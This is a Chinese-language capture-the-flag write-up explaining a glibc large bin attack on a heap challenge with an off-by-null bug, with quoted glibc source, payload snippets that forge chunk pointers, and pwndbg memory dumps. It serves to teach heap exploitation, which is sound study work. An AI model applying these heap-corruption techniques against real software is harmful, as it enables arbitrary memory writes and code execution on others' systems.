下面是在glibc-2.24里面截出来的,看看下面的英文注释就大概明白了。
parameter_number 根据值确定是哪一种类型,parameter_value是为对应的parameter_number类型进行赋值。
比如,mallopt(1,0)就是对M_MXFAST设置值为0,表示禁用fastbin。
/* M_MXFAST is the maximum request size used for "fastbins", special bins that hold returned chunks without consolidating their spaces. This enables future requests for chunks of the same size to be handled very quickly, but can increase fragmentation, and thus increase the overall memory footprint of a program. This malloc manages fastbins very conservatively yet still efficiently, so fragmentation is rarely a problem for values less than or equal to the default. The maximum supported value of MXFAST is 80. You wouldn't want it any higher than this anyway. Fastbins are designed especially for use with many small structs, objects or strings -- the default handles structs/objects/arrays with sizes up to 8 4byte fields, or small strings representing words, tokens, etc. Using fastbins for larger objects normally worsens fragmentation without improving speed. M_MXFAST is set in REQUEST size units. It is internally used in chunksize units, which adds padding and alignment. You can reduce M_MXFAST to 0 to disable all use of fastbins. This causes the malloc algorithm to be a closer approximation of fifo-best-fit in all cases, not just for larger requests, but will generally cause it to be slower. */ /* mallopt(int parameter_number, int parameter_value) Sets tunable parameters The format is to provide a (parameter-number, parameter-value) pair. mallopt then sets the corresponding parameter to the argument value if it can (i.e., so long as the value is meaningful), and returns 1 if successful else 0. SVID/XPG/ANSI defines four standard param numbers for mallopt, normally defined in malloc.h. Only one of these (M_MXFAST) is used in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply, so setting them has no effect. But this malloc also supports four other options in mallopt. See below for details. Briefly, supported parameters are as follows (listed defaults are for "typical" configurations). Symbol param # default allowed param values M_MXFAST 1 64 0-80 (0 disables fastbins) M_TRIM_THRESHOLD -1 128*1024 any (-1U disables trimming) M_TOP_PAD -2 0 any M_MMAP_THRESHOLD -3 128*1024 any (or 0 if no MMAP support) M_MMAP_MAX -4 65536 any (0 disables use of mmap) */ int __libc_mallopt (int param_number, int value) { mstate av = &main_arena; int res = 1; if (__malloc_initialized < 0) ptmalloc_init (); (void) mutex_lock (&av->mutex); /* Ensure initialization/consolidation */ malloc_consolidate (av); LIBC_PROBE (memory_mallopt, 2, param_number, value); switch (param_number) { case M_MXFAST: if (value >= 0 && value <= MAX_FAST_SIZE) { LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ()); set_max_fast (value); } else res = 0; break; case M_TRIM_THRESHOLD: LIBC_PROBE (memory_mallopt_trim_threshold, 3, value, mp_.trim_threshold, mp_.no_dyn_threshold); mp_.trim_threshold = value; mp_.no_dyn_threshold = 1; break; case M_TOP_PAD: LIBC_PROBE (memory_mallopt_top_pad, 3, value, mp_.top_pad, mp_.no_dyn_threshold); mp_.top_pad = value; mp_.no_dyn_threshold = 1; break; case M_MMAP_THRESHOLD: /* Forbid setting the threshold too high. */ if ((unsigned long) value > HEAP_MAX_SIZE / 2) res = 0; else { LIBC_PROBE (memory_mallopt_mmap_threshold, 3, value, mp_.mmap_threshold, mp_.no_dyn_threshold); mp_.mmap_threshold = value; mp_.no_dyn_threshold = 1; } break; case M_MMAP_MAX: LIBC_PROBE (memory_mallopt_mmap_max, 3, value, mp_.n_mmaps_max, mp_.no_dyn_threshold); mp_.n_mmaps_max = value; mp_.no_dyn_threshold = 1; break; case M_CHECK_ACTION: LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action); check_action = value; break; case M_PERTURB: LIBC_PROBE (memory_mallopt_perturb, 2, value, perturb_byte); perturb_byte = value; break; case M_ARENA_TEST: if (value > 0) { LIBC_PROBE (memory_mallopt_arena_test, 2, value, mp_.arena_test); mp_.arena_test = value; } break; case M_ARENA_MAX: if (value > 0) { LIBC_PROBE (memory_mallopt_arena_max, 2, value, mp_.arena_max); mp_.arena_max = value; } break; } (void) mutex_unlock (&av->mutex); return res; }
找找其他的资料,樱花师傅的文章分析还是比较仔细的。
int __fastcall update(_QWORD *a1) { __int64 v2; // ST18_8 __int64 v3; // rax signed int idx; // [rsp+10h] [rbp-20h] int size; // [rsp+14h] [rbp-1Ch] printf("Index: "); idx = get_input(); if ( idx < 0 || idx > 15 || !xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) ) return puts("Invalid Index"); printf("Size: "); size = get_input(); if ( size <= 0 || size > (unsigned __int64)(xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) - 12) )// 0 < size < heap.size - 12 return puts("Invalid Size"); printf("Content: "); v2 = xor_2(a1, a1[2 * (idx + 2LL)]); sub_1377(v2, size); v3 = size + v2; *(_QWORD *)v3 = 5931051951075706184LL; *(_DWORD *)(v3 + 8) = 1229545293; *(_BYTE *)(v3 + 12) = 0; // off by null return printf("Chunk %d Updated\n", (unsigned int)idx); }
存在off_by_one漏洞
程序由明显的off_by_one漏洞,可以构造overlapped chunk。普通的思路就是泄露heap、libc然后getshell。
但是这道题目的特殊之处在于,他mmap一块区域存储global node,并且和一个随机数进行xor操作,并且view功能刚开始不能使用,所以我们需要控制mmap出来的内存空间,如果可以控制这部分内存空间,那么后面的操作就很容易了。
在large bin attack触发前的情况是 unsorted bin 里面有一个 chunk_A 0x060 , large bin 里面有一个chunk_B 0x5c0 。并且unsorted bin中的chunk size较大。
然后用下面的内容改写unsortedbin 以及 large bin , 为触发large bin attack构造条件。
storage = 0x13370000 + 0x800 fake_chunk = storage - 0x20 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1) #modify unsorted bin 0x060 p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2) # modify largebin 0x5c0
此时unsortedbin里面的A->bk指向了fake_chunk , 这里的fake_chunk本来是没有内容的,也就是说fake_chunk->size == 0 , 正常情况下分配内存的时候会报错,但是我们通过large bin attack使得fake_chunk ->size正好等于0x56。
下面是需要利用到的large bin attack的glibc代码,我放到这,后面再详细解释。
else { /* 从这里我们可以总结出,largebin 以 fd_nextsize 递减排序。 同样大小的 chunk,后来的只会插入到之前同样大小的 chunk 后, 而不会修改之前相同大小的fd/bk_nextsize,这也很容易理解, 可以减低开销。此外,bin 头不参与 nextsize 链接。*/ victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }
进行操作前的chunk内容如下
pwndbg> x/4xg 0x5625d6050060 unsorted bin 0x5625d6050060: 0x0000000000000000 0x00000000000004f1 0x5625d6050070: 0x0000000000000000 0x00000000133707e0 pwndbg> x/6xg 0x5625d60505c0 large bin 0x5625d60505c0: 0x0000000000000000 0x00000000000004e1 0x5625d60505d0: 0x0000000000000000 0x00000000133707e8 0x5625d60505e0: 0x0000000000000000 0x00000000133707c3
malloc 一个 0x40大小的chunk , 触发large bin attack 。 触发结束后 ,各个chunk的内容如下。
pwndbg> x/6xg 0x5625d6050060 0x5625d6050060: 0x0000000000000000 0x00000000000004f1 0x5625d6050070: 0x00007f42fc72fb38 0x00000000133707e8 0x5625d6050080: 0x00005625d60505c0 0x00000000133707c3 pwndbg> x/6xg 0x5625d60505c0 0x5625d60505c0: 0x0000000000000000 0x00000000000004e1 0x5625d60505d0: 0x0000000000000000 0x00005625d6050060 0x5625d60505e0: 0x0000000000000000 0x00005625d6050060
下面我们分析一下,当前下large bin 内的chunk大小小于unsortedbin内的chunk大小,并且large bin 内只有一个chunk,使用下面代码进行操作。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;
这里的victim等于0x060 , fwd等于0x5c0 。
下面进行操作:
0x060+0x20 = 0x5c0 (victim->fd_nextsize = fwd)
0x060+0x28 = *(0x5c0 + 0x28) = 0x133707c3 (victim->bk_nextsize = fwd->bk_nextsize;)
0x5c0+0x28 = 0x060 (fwd->bk_nextsize = victim;)
0x133707c3 + 0x20 = 0x060 (victim->bk_nextsize->fd_nextsize = victim;)这里完成了对fake_chunk size的赋值,赋值为0x56,地址的首字节。(有可能是0x55,也有可能是0x56,2018-0ctf-babyheap劫持main_arena也需要这个姿势,多跑几次就可以碰到0x56开头的地址)
其实现在来看,large bin的攻击核心过程就是
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;
如果我们想要给某个对象赋值的时候,可以将fwd(large bin)的bk_nextsize设置成距离目标位置一定偏移处的地址。
bck = fwd->bk;
这里的fwd = 0x5c0 ,所以bck = *(0x5c0+0x18) = 0x133707e8
victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
0x060+0x18 = 0x133707e8
0x060+0x10 = 0x5c0
0x5c0+0x18 = 0x060
0x133707e8+0x10 = 0x060
vmmap区域的内容如下
pwndbg> x/20xg 0x00000000133707e0 0x133707e0: 0x25d6050060000000 0x0000000000000056 0x133707f0: 0x00007f42fc72fb38 0x00005625d6050060 0x13370800: 0x99aadb63494578ab 0x628b23e0f2f5db6c 0x13370810: 0x39301628a1dc6f51 0x39301628a1dc6f51 0x13370820: 0x99aa8d469f4078bb 0x628b23e0f2f5db74
到这里unsorted bin中取出0x060插入large bin , 即 large bin attack的操作结束, mmap区域的fake_chunk->size已经被设置为0x56,在取出这个chunk的过程中,还会改动一个chunk的内容,如下
因为剩下的mmap区域的chunk位于unsorted bin内,大小完全匹配,下面的操作是解链操作,bck对应的fake_chunk->bk = 0x060。
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
0x060 + 0x10 = unsorted_chunks (av)
当我们在攻击利用前需要对 large bin 进行构造,我们是下面这样进行构造的。
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
上面是大佬的注释,我觉得可能有点问题,我们要注意的是在bk字段里面要设置成fake_chunk+8。
具体原因如下:我们在利用large bin攻击成功之后,mmap的fake_chunk->size被设置成我们目标的样子,当正常分配的时候,肯定要解链,解链操作的时候,如下
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
其中的bck就是fake_chunk->bk 也就是 fake_chunk + 0x18
我们要保证这里是一个可写的地址,所以需要构造,最简单的办法让其指向我们的heap。
在前面large_bin attck的过程中,有
bck = fwd->bk; bck = fake_chunk + 8 bck->fd = victim; fake_chunk + 8 +0x10
所以我们在构造large bin的时候 , 在其bk字节放置fake_chunk+8 就能保证large bin攻击结束 , 进行unsortedbin解链的时候 , fake_chunk+0x18是一个可写内存。
下面稍微解释一下main_arena里面的内容
pwndbg> x/40xg 0x7f42fc72fae0 0x7f42fc72fae0 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7f42fc72faf0 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb00 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb10 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb20 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb30 <main_arena+80>: 0x0000000000000000 0x00005625d6050ac0 top 0x7f42fc72fb40 <main_arena+96>: 0x00005625d60505c0 0x00005625d6050060 last_remainder unsorted bin 0x7f42fc72fb50 <main_arena+112>: 0x00005625d6050060 0x00007f42fc72fb48 0x7f42fc72fb60 <main_arena+128>: 0x00007f42fc72fb48 0x00007f42fc72fb58
因为glibc bin的节省空间机制,所以会看到,当unsorted bin的下面一个bin没被赋值的时候,会和unsorted bin指向相同的内容。
总体来说,这道题目的利用方式
伪造large_bin的bk_nextsize以及large_bin的bk来向任意地址写入heap_address :通过unsorted_bin解链插入large_bin过程中进行的large_bin_attack,并且控制unsorted_bin的bk指向fake_chunk,在解链结束后large_bin_attack结束,fake_chunk_size被修改完毕,继续遍历unsorted_bin过程中取出fake_chunk,达成利用。
前提:unsorted bin中chunk_size大于large_bin中的chunk_size,并且unsorted_bin和large_bin中的chunk均可控。(当然并不一定非要满足这样的大小关系,只是下面的利用代码流程是针对于unsorted_bin<large_bin的,其他情况可能也有类似的代码流程效果。)
主要利用代码:
victim 对应 unsorted_bin_chunk fwd 对应 large_bin_chunk (1) 1. victim->fd_nextsize = fwd 2. victim->bk_nextsize = fwd->bk_nextsize 3. fwd->bk_nextsize = victim 4. victim->bk_nextsize->fd_nextsize = victim (2) 5. bck = fwd->bk (3) 6. victim->bk = bck 7. victim->fd = fwd 8. fwd->bk = victim 9. bck->fd = victim
上面这一组攻击流程中具有两组任意地址写heap_address的效果。
第一次: 2 + 4 :victim->bk_nextsize = fwd->bk_nextsize victim->bk_nextsize->fd_nextsize = victim
将large_bin的bk_nextsize位置置为fake_chunk1,最终会在fake_chunk1+0x20处写入heap_address
第二次: 5 + 9 : bck = fwd->bk bck->fd = victim
将large_bin的bk置为fake_chunk2,最终会在fake_chunk2+0x10处写入heap_address。
上面两处任意地址写heap_address在本题中,
第一处用来伪造fake_chunk_size(heap_address以0x56)
第二处用来达成unsorted_bin取出fake_chunk进行解链操作需要的条件:解链后众所周知还要bck->fd = unsorted_bin(av); 注:此时的bck为fake_chunk->bk
我们要确保这里的bck-fd是一个可写的地址,因此将fake_chunk->bk置为heap_address再方便不过。
在附一遍我们是如何控制unsorted_bin和large_bin的内容:
p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1) #modify unsorted bin p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when get out from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2) # modify largebin
总结很重要,要细品
|
|
登录后即可评论 |